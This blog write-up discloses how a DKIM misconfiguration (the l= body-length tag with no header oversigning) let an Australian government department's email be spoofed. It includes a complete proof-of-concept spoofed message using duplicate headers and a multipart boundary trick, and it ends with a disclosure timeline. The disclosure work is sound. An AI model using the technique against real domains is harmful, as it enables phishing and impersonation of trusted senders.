Spoofing @GOV.AU Emails

How an identified email misconfiguration allowed spoofing of emails from a federal Australian Government department

I woke up on Jan 10th, 2022 with an idiosyncratic desire to look deep into the depths of email security, namely SPF + DKIM + DMARC (herein SDD). For those that aren't aware, SDD are extensions on the 40+ year old mail transfer protocol (SMTP) to prevent spoofing and phishing attacks. In short, any email server can claim to be any sender. If it weren't for SDD, I could send emails from [email protected] or [email protected] arbitrarily. I hope you can appreciate the many ways that could be used to take advantage of people, their trust, and ultimately their money.

Implementing SDD is one thing; but implementing them securely is another. The standards are surprisingly dense, leaving lots of room for misconfigurations that once again open up institutions to spoofing attacks. SPF spoofing and misconfigurations are relatively well known as covered in my previous blog post and a new tool I've written. Bypassing SDD by abusing DKIM? Not so much.

This is the story of how I was able to send arbitrary emails from @xxx.gov.au.

DKIM Spiel

To pass DMARC validation (which is the authoritative record for whether an email is accepted), only SPF OR DKIM need to pass. In looking over my emails, something about emails from @xxx.gov.au, and their DKIM signatures caught my attention.

SDD all improve email security in their own ways, but DKIM in particular cryptographically adds a signature (or a "digest") to emails that can be publicly validated.

Describing this with words will put anyone to sleep, so why not cut to the chase and demo this with xxx's (historic and since fixed) DKIM implementation.

xxx's Historic DKIM

There's three parts to DKIM:

  1. The sending mail server has a private key it signs mail with

  2. Each email's calculated signature is then added to the DKIM-Signature mail header. Here's a sample DKIM-Signature header from an email I previously received from xxx:

    DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
        d=xxx.gov.au; i=@xxx.gov.au; l=4096; q=dns/txt; s=xxx;
        t=163XXX6311; x=166XXX2311;
        h=date:from:reply-to:subject:to:message-id:mime-version:
        content-transfer-encoding:content-id;
        bh=evbZN/q7XGwUAnj7jT/jMI3SeiQnLHooIUEuszWXXXX=;
        b=GhzoT9aXYR6dX+ZPnkBUTTuBYPNJMOy3I2i5ytWdjOjw5QPI5i4WXZQB
        Bz5UogkDn719f+X02EPswfzIAHXWA/ci0KB1zZJucBprgOVMUeG8R2D84
        mzg13oxtxB8VNwpvnb0kwBHwK7p/XXXXXXXXX/ed1xB3dyfvShiRbdfM
        VNDRhHp2AP5/IqRujM5h9Dyip55RWPFSqpZijtzYlOYaGWsskUxMB2miO
        z5iLmRpUo5IGSmdnHZZU8H8xah8pvtzOV+XXXXXXXXXXXX+WiUy0qhCTw
        sP9mm60ANM9UN1GBRjanbMLelkabHO22mBYmQ+QLzPHOZHoP8J7TBibj+
        A==;
  3. The receiving mail client then pulls the public key from the domain's DNS DKIM record, and validates the digest against the email contents. Using the selector s=xxx; from above, we can grab the public key from DNS:

    $ dig +short txt xxx._domainkey.xxx.gov.au
    v=DKIM1; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsnWBUjzLIeQwhxW1Gm353+TUWNAfz7fvtqX8rb550nn3584GNT0g8vP0H4/CT5B8nKu5TuuL2GsVRdwcAygrbMynZoYJA06DHjf9haIrcP0kw8b9spwl2iRr9Wkf4TTpDLLoPCEILbcglEZ/U/U5ybKvnUXe/XHDtW9Wwl2oJDAvIqJZgp4ptgj3q/jTPQCeEuvNbAyq msGDsqxVZAeWP91IbzGAXjVlJeaIzdoKT9tOlFc5mqMTNKg50LBbJlVnz9RYoirfj4wDaN1LJxk2CplB7j7CMvW7IjyJXgLSqDdC7md0aLr/kByh49JtpzGQRLabHNYgJJgTedug35Wi7QIDAQAB;

This results in:

  1. High(er) confidence the email is from the claimed organisation, and that it wasn't spoofed (A spoofer wouldn't have the organisation's private DKIM keys)
  2. High(er) confidence the email wasn't tampered with whilst in transit (An altered email (headers or body) would change the signature, raising suspicion)

Exploitation

Now xxx's DKIM-Signature header is fairly typical, but l=4096; is where the crux of the issue lies. It's a directive to specify how many bytes of the email to sign. I.e I could tack on extra content to the bottom of the email without invalidating the DKIM-Signature. However this isn't "clean" because I would need to keep the first original 4096 bytes of contents; which include "Hi Harrison". Also, the signature includes my To: address, so I'd only be spoofing the second-half of emails to myself... lame. We can do better.

However, this DKIM-Signature header also doesn't oversign headers. The moment I alter the e.g To:, From:, or Subject: headers, the signature will invalidate, the mail client will nuke the email, and itsaalerts@xxx.gov.au will get a report dobbing me in[1]. But... what if rather than altering the existing headers, I add my own?

Well as luck would have it, generally, in the case of a duplicate header, mail clients display and interpret the first instance, but calculate DKIM signatures on the final instance. I.e I can tack custom headers on top of the email and have them interpreted whilst avoiding invalidating DKIM. For fixes to these issues, see: [2]

The final trick is to use Content-Type magic (see below) to keep the original content (preserving the signature), but have the mail client use my content (allowing for 100% custom spoofed emails).

Now that you understand the theory, here's the proof of concept. Black is the original text from the email sent to me by xxx, red is superseded original text, and blue are my additions. If you're on mobile I recommend landscape.

``` Subject: Arbitrary adversary controlled content From: Arbitrary adversary controlled content arbitrary-adversary-controlled-content@!b!xxx!B!.gov.au Date: Mon, 17 Jan 2022 00:05:00 +1100 (AUS Eastern Daylight Time) To: [email protected] Content-Type: multipart/mixed; boundary=PWNED DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=xxx.gov.au; i=@xxx.gov.au; l=4096; q=dns/txt; s=xxx; t=1635336311; x=1666872311; h=date:from:reply-to:subject:to:message-id:mime-version: content-transfer-encoding:content-id; bh=evbZN/q7XGwUAnj7jT/jMI3SeiQnLHooIUEuszXXXXX=; b=GhzoT9aXYR6dX+ZPnkBUTTuBYPNJMOy3I2i5ytWdjOjw5QPI5i4WXZQB Bz5UogkDn719f+X02EPswfzIAHXWA/ci0KB1zZJucBprgOVMUeG8R2D84 mzg13oxtxB8VNwpvnb0kwBHwK7p/XXXXXXXXXX/ed1xB3dyfvShiRbdfM VNDRhHp2AP5/IqRujM5h9Dyip55RWPFSqpZijtzYlOYaGWsskUxMB2miO z5iLmRpUo5IGSmdnHZZU8H8xah8pvtzOV+An6W8rTvO0TL+WiUy0qhCTw sP9mm60ANM9UN1GBRjanbMLelkabHO22mBYmQ+QLzPHOZHoP8J7TBibj+ A==; Date: Wed, XX Oct 2021 23:05:00 +1100 (AUS Eastern Daylight Time) From: xxx noreply@!b!xxx!B!.gov.au Reply-To: xxx@xxx.gov.au Subject: =?UTF-8?Q?xxxxxxxxxxxxxxxxxxxxxxxxxx_[SEC=3DOFFICIAL]?= To: [email protected] Message-ID: <xxxxxxxxx@xxx.gov.au> MIME-Version: 1.0 Content-Type: TEXT/html; CHARSET=UTF-8 Content-Transfer-Encoding: QUOTED-PRINTABLE Content-ID: <xxxxxxxxx@xxx.gov.au>
=EF=BB=BF\ decoration: none;font-size: 20px;line-height: 24px">Hi HARRISON= tom: 24px;color: #000000;text-decoration: no <4096 byte cutoff> --PWNED Content-type: text/html

Arbitrary adversary controlled content

--PWNED-- ```

Send that bad boy with Postfix and...

Screenshot of a PoC as viewed through Gmail
Gmail saying that DKIM and DMARC passed (thus SPF needn't pass)

Timeline
11/1/2022 Learnt about l= and oversign issue
12/1/2022 Identified xxx as exploitable
13/1/2022 Proof of concept developed
16/1/2022 Notified ACSC/xxx of the issue
17/1/2022 Sent writeup
17/1/2022 Confirmed receipt and forwarded to xxx (at 11pm!)
24/2/2022 Issue confirmed fixed, and writeup permission permitted, given the exact department be redacted, hence the xxx's